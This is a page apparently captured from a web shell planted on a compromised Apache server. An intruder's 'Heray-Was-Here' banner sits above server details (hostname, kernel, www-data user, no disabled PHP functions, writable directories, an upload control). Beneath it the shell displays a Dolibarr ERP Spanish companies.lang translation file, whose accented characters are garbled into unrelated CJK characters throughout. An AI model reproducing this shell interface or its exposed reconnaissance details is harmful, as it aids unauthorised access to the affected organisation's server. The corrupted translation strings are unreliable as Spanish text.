Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/es_AR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/es_AR/companies.lang
# Dolibarr language file - Source file is en_US - companies
ErrorCompanyNameAlreadyExists=El nombre de compa帽铆a %s ya existe. Elija otro diferente.
ErrorSetACountryFirst=Establecer primero el pa铆s
DeleteContact=Eliminar un contacto/direcci贸n
MenuNewThirdParty=Nuevo Tercero
MenuNewCustomer=Nuevo Cliente
MenuNewProspect=Nuevo Cliente Potencial
MenuNewSupplier=Nuevo Proveedor
MenuNewPrivateIndividual=Nuevo contacto particular
NewCompany=Nueva compa帽铆a (posible cliente, cliente, proveedor)
NewThirdParty=Nuevo Tercero (posible cliente, cliente, proveedor)
CreateThirdPartyOnly=Crear Tercero
CreateThirdPartyAndContact=Crear tercero + Contacto
ProspectionArea=脕rea de clientes
IdThirdParty=ID Tercero
IdCompany=ID Compa帽铆a
IdContact=ID Contacto
ThirdPartyContacts=Contactos del Tercero
ThirdPartyContact=Cntactos/Direcciones del Tercero
Company=Compa帽铆a
CompanyName=Nombre de la compa帽铆a
AliasNames=Alias (comercial, marca registrada, ...)
AliasNameShort=Alias
Companies=Compa帽铆as
CountryIsInEEC=El pa铆s est谩 dentro de la Comunidad Europea
PriceFormatInCurrentLanguage=Formato de visualizaci贸n de precios en el idioma y moneda actuales
ThirdPartyEmail=E-mail del tercero
ThirdPartyProspects=Clientes Potenciales
ThirdPartyProspectsStats=Clientes Potenciales
ThirdPartyCustomersWithIdProf12=Clientes con %s o %s
ThirdPartyType=Tipo de Tercero
Individual=Contacto particular
ToCreateContactWithSameName=Crear谩 autom谩ticamente un contacto/direcci贸n con la misma informaci贸n que el subordinado del tercero. En la mayor铆a de los casos, incluso si su tercero es una persona f铆sica, basta con crear un tercero.
ParentCompany=Empresa padre
Subsidiaries=Subsidiarias
CivilityCode=C贸digo civil
RegisteredOffice=Oficina registrada
Lastname=Apellido
UserTitle=T铆tulo
Address=Drecci贸n
State=Estado/Provincia
StateCode=C贸digo postal del Estado/Provincia
CountryCode=C贸digo de Pa铆s
Chat=Chate
PhonePerso=Tel茅fono Persona
PhoneMobile=Celular
No_Email=Rechazar correos masivos
Town=Ciudad
Poste=Posici贸n
VATIsUsed=Aplica IVA
VATIsNotUsed=No aplica IVA
CopyAddressFromSoc=Copiar direcci贸n de detalles del tercero
ThirdpartyNotCustomerNotSupplierSoNoRef=Tercero, ni cliente ni vendedor, no hay objetos de referencia disponibles
ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=Tercero, ni cliente ni vendedor, los descuentos no est谩n disponibles.
PaymentBankAccount=Cuenta bancaria para pagos
OverAllOrders=脫rdenes
OverAllSupplierProposals=Solicitudes de precio
LocalTax1IsUsed=Usar segundo impuesto
LocalTax1IsUsedES=Aplica Impuesto a las Ganancias
LocalTax1IsNotUsedES=No aplica Impuesto a las Ganancias
LocalTax2IsUsed=Utilizar el tercer impuesto
LocalTax2IsUsedES=Aplica IRPF
LocalTax2IsNotUsedES=No aplica IRPF
WrongCustomerCode=C贸digo inv谩lido de cliente
WrongSupplierCode=C贸digo inv谩lido de proveedor
CustomerCodeModel=Modelo de c贸digo de cliente
SupplierCodeModel=Modelo de c贸digo de proveedor
ProfId1Short=ID Prof. 1
ProfId2Short=ID Prof. 2
ProfId3Short=ID Prof. 3
ProfId4Short=ID Prof. 4
ProfId5Short=ID Prof. 5
ProfId6Short=ID Prof. 6
ProfId1=ID Profesional 1
ProfId2=ID Profesional 2
ProfId3=ID Profesional 3
ProfId4=ID Profesional 4
ProfId5=ID Profesional 5
ProfId6=ID Profesional 6
ProfId2AR=IIBB
ProfId1AT=ID Prof 1 (USt.-IdNr)
ProfId2AT=ID Prof 2 (Ust.-Nr)
ProfId3AT=ID Prof 3 (Handelsregister-Nr.)
ProfId1AU=ID Prof 1 (ABN)
ProfId1BE=ID Prof 1 (N煤mero profesional)
ProfId2BR=IE (Inscripci贸n Estatal)
ProfId3BR=IM (Inscripci贸n Municipal)
ProfId3CH=ID Prof 1 (N煤mero federal)
ProfId4CH=ID Prof 2 (N煤mero de registro comercial)
ProfId1CL=ID Prof 1 (RUT)
ProfId1CO=ID Prof 1 (RUT)
ProfId1DE=ID Prof 1 (USt.-IdNr)
ProfId2DE=ID Prof 2 (Ust.-Nr)
ProfId3DE=ID Prof 3 (Handelsregister-Nr.)
ProfId1ES=ID Prof 1 (CIF/NIF)
ProfId2ES=ID Prof 2 (N煤mero del seguro social)
ProfId3ES=ID prof 3 (CNAE)
ProfId4ES=ID Prof 4 (N煤mero colegiado)
ProfId1FR=ID Prof 1 (SIREN)
ProfId2FR=ID Prof 2 (SIRET)
ProfId3FR=ID Prof 3 (NAF, old APE)
ProfId4FR=ID Prof 4 (RCS/RM)
ProfId1GB=N煤mero de registro
ProfId1HN=ID Prof 1 (RTN)
ProfId1IN=ID Prof 1 (TIN)
ProfId2IN=ID Prof 2 (PAN)
ProfId3IN=ID Prof 3 (SRVC TAX)
ProfId4IN=ID Prof 4
ProfId5IN=ID Prof 5
ProfId1LU=ID Prof 1 (RCS Luxemburgo)
ProfId2LU=ID Prof 2 (permiso de comercio)
ProfId1MA=ID Prof 1 (RC)
ProfId2MA=ID Prof 2 (Patente)
ProfId3MA=ID Prof 3 (IF)
ProfId4MA=ID Prof 4 (CNSS)
ProfId1MX=ID Prof 1 (RFC)
ProfId2MX=ID Prof 2 (RP IMSS)
ProfId3MX=ID Prof 3 (Charter Profesional)
ProfId4NL=BSN
ProfId1PT=ID Prof 1 (NIPC)
ProfId2PT=ID Prof 2 (N煤mero del seguro social)
ProfId3PT=ID Prof 3 (N煤mero de registro comercial)
ProfId4PT=ID Prof 4 (Conservatorio)
ProfId1TN=ID Prof 1 (RC)
ProfId2TN=ID Prof 2 (matr铆cula fiscal)
ProfId3TN=ID Prof 3 (c贸digo Douane)
ProfId4TN=ID Prof 4 (BAN)
ProfId1US=ID Prof (FEIN)
ProfId1RO=ID Prof 1 (CUI)
ProfId2RO=ID Prof 2 (NI)
ProfId3RO=ID Prof 3 (CAEN)
ProfId4RO=ID Prof 5 (EUID)
ProfId1RU=ID Prof 1 (OGRN)
ProfId2RU=ID Prof 2 (INN)
ProfId3RU=ID Prof 3 (KPP)
ProfId4RU=ID Prof 4 (OKPO)
ProfId2DZ=Art铆culo
VATIntra=ID IVA
VATIntraShort=ID IVA
VATIntraSyntaxIsValid=La sintaxis es correcta
VATReturn=Devoluci贸n de IVA
ProspectCustomer=Cliente Potencial / Cliente
CustomerCard=Ficha de Cliente
CustomerRelativeDiscount=Descuento por cliente
SupplierRelativeDiscount=Descuento por proveedor
CustomerAbsoluteDiscountShort=Descuento absoluto
CompanyHasRelativeDiscount=Este cliente tiene un descuento predeterminado de <b>%s%%</b>
CompanyHasNoRelativeDiscount=Este cliente no tiene un descuento relativo predeterminado
HasRelativeDiscountFromSupplier=Tienes un descuento predeterminado de <b>%s%%</b> de este proveedor
HasNoRelativeDiscountFromSupplier=No tienes un descuento relativo predeterminado de este proveedor.
CompanyHasAbsoluteDiscount=Este cliente tiene descuentos disponibles (notas de cr茅dito o anticipos) para <b>%s</b> %s
CompanyHasDownPaymentOrCommercialDiscount=Este cliente tiene descuentos disponibles (comerciales, anticipos) para <b>%s</b> %s
CompanyHasCreditNote=Este cliente todav铆a tiene notas de cr茅dito para <b>%s</b> %s
HasNoAbsoluteDiscountFromSupplier=No tienes cr茅dito de descuento disponible con este proveedor
HasAbsoluteDiscountFromSupplier=Tienes descuentos disponibles (notas de cr茅dito o anticipos) para <b>%s</b> %s de este proveedor
HasDownPaymentOrCommercialDiscountFromSupplier=Tienes descuentos disponibles (comerciales, anticipos) para <b>%s</b> %s de este proveedor
HasCreditNoteFromSupplier=Tienes notas de cr茅dito para <b>%s</b> %s de este proveedor
CompanyHasNoAbsoluteDiscount=Este cliente no tiene cr茅dito de descuento disponible
CustomerAbsoluteDiscountAllUsers=Descuentos absolutos para clientes (otorgados por todos los usuarios)
CustomerAbsoluteDiscountMy=Descuentos absolutos para clientes (otorgados por usted)
SupplierAbsoluteDiscountAllUsers=Descuentos absolutos de proveedor (ingresados por todos los usuarios)
SupplierAbsoluteDiscountMy=Descuentos absolutos de proveedor (ingresados por usted)
DiscountNone=Ninguno
Contacts=Contactos/Direcciones
ContactId=ID de Contacto
NoContactDefinedForThirdParty=No hay contactos definido para este tercero
NoContactDefined=Ning煤n contactos definidos
DefaultContact=Contacto/direcci贸n predeterminados
ContactByDefaultFor=Contacto/direcci贸n predeterminados para
AddThirdParty=Crear Tercero
CustomerCode=C贸digo de cliente
SupplierCode=C贸digo de proveedor
CustomerCodeShort=C贸digo de cliente
SupplierCodeShort=C贸digo de proveedor
CustomerCodeDesc=C贸digo de cliente, 煤nico para cada cliente
SupplierCodeDesc=C贸digo de proveedor, 煤nico para cada proveedor
RequiredIfCustomer=Es requerido si el tercero es un cliente o cliente potencial
RequiredIfSupplier=Es requerido si el tercero es un proveedor
ThisIsModuleRules=Reglas para este m贸dulo
CompanyDeleted=Empresa "%s" eliminada de la base de datos
ListOfContacts=Lista de contactos/direcciones
ListOfContactsAddresses=Lista de contactos/direcciones
ListOfThirdParties=Lista de terceros
ShowContact=Contacto-Direcci贸n
ContactForOrders=Contacto de la orden
ContactForOrdersOrShipments=Contacto de la orden o su env铆o
ContactForProposals=Contacto del presupuesto
ContactForContracts=Contacto del contrato
ContactForInvoices=Contacto de facturaci贸n
NoContactForAnyOrder=Este contacto no es un contacto para ninguna orden.
NoContactForAnyOrderOrShipments=Este contacto no es un contacto para ninguna orden o env铆o
NoContactForAnyProposal=Este contacto no es un contacto por un presupuesto
NoContactForAnyContract=Este contacto no es un contacto por un contrato
NoContactForAnyInvoice=Este contacto no es un contacto por una factura
NewContactAddress=Nuevo contacto/direcci贸n
EditCompany=Editar empresa
ThisUserIsNot=Este usuario no es un cliente, cliente potencial o proveedor.
VATIntraCheck=Cheque
VATIntraCheckDesc=El ID de IVA debe incluir el prefijo del pa铆s. El enlace <b>%s</b> utiliza el servicio de verificaci贸n de IVA europeo (VIES) que requiere acceso a Internet desde Dolibarr.
VATIntraCheckableOnEUSite=Consulte el ID de IVA intracomunitario en el sitio web de la Comisi贸n Europea
ErrorVATCheckMS_UNAVAILABLE=No es posible comprobar. El servicio de verificaci贸n no lo proporciona el estado del miembro (%s).
NorProspectNorCustomer=Ni cliente ni cliente potencial
ProspectLevel=Cliente potencia
OthersNotLinkedToThirdParty=Otros, no vinculados a un tercero
ProspectStatus=Estado del cliente potencial
PL_NONE=Ninguna
TE_GROUP=Empresa grande
TE_MEDIUM=PyME
TE_ADMIN=P煤blica
TE_SMALL=Peque帽a empresa
ChangeDoNotContact=Marcar como 'No contactar'
ChangeNeverContacted=Marcar como 'Nunca contactado'
ChangeToContact=Marcar como 'A contactar'
ChangeContactInProcess=Marcar como 'Contacto en curso'
ChangeContactDone=Marcar como 'Contacto realizado'
ContactNotLinkedToCompany=Contacto no vinculado a ning煤n tercero
DolibarrLogin=Usuario Dlibarr
NoDolibarrAccess=Sin acceso a Dolibarr
ExportDataset_company_1=Terceros (empresas/fundaciones/personas f铆sicas) y sus propiedades.
ImportDataset_company_1=Terceros y sus propiedades
ImportDataset_company_2=Contactos/direcciones adicionales de terceros y atributos
ImportDataset_company_4=Vendedores de terceros (asignar vendedores/usuarios a empresas)
PriceLevel=Nivel de precio
PriceLevelLabels=Etiquetas de nivel de precio
DeliveryAddress=Direcci贸n de entrega
DeleteFile=Eliminar archivo
ConfirmDeleteFile=驴Est谩s seguro que quieres eliminar este archivo?
AllocateCommercial=Asignado al vendedor
Organization=Organizaci贸n
FiscalYearInformation=A帽o fiscal
FiscalMonthStart=Mes de inicio del a帽o fiscal
SocialNetworksFacebookURL=Facebook
SocialNetworksTwitterURL=Twitter
SocialNetworksLinkedinURL=Linkedin
SocialNetworksInstagramURL=Instagram
SocialNetworksYoutubeURL=Youtube
SocialNetworksGithubURL=GitHub
YouMustAssignUserMailFirst=Debes crear un correo para este usuario antes de poder agregar una notificaci贸n por correo.
YouMustCreateContactFirst=Para poder agregar notificaciones por correo, primero debes definir contactos con correos v谩lidos para el tercero
ListSuppliersShort=Lista de proveedores
ListProspectsShort=Lista de Clientes Potenciales
ListCustomersShort=Lista de clientes
ThirdPartiesArea=Terceros/Contactos
InActivity=Abierto
ThirdPartyIsClosed=El tercero est谩 cerrado.
CurrentOutstandingBill=Factura pendiente actual
OutstandingBill=Max. por factura pendiente
OutstandingBillReached=Max. alcanzado por factura pendiente
OrderMinAmount=Monto m铆nimo por orden
LeopardNumRefModelDesc=El c贸digo es gratis. Este c贸digo puede modificarse en cualquier momento.
ManagingDirectors=Nombre(s) del gerente (CEO, director, presidente...)
MergeOriginThirdparty=Duplicar el tercero (tercero que quieres eliminar)
ThirdpartiesMergeSuccess=Los terceros se han fusionado
SaleRepresentativeLogin=Usuario del vendedor
SaleRepresentativeFirstname=Nombre del vendedor
SaleRepresentativeLastname=Apellido del vendedor
ErrorThirdpartiesMerge=Se produjo un error al eliminar los terceros. Por favor revisa el registro. Los cambios se han reversado.
NewCustomerSupplierCodeProposed=C贸digo de cliente o proveedor ya utilizado, se ha sugerido un nuevo c贸digo
KeepEmptyIfGenericAddress=Mantenga este campo vac铆o si esta direcci贸n es una direcci贸n gen茅rica
PaymentTypeBoth=Tipo de pago - cliente y proveedor
MulticurrencyUsed=Usar diferentes monedas
MulticurrencyCurrency=Moneda

Hry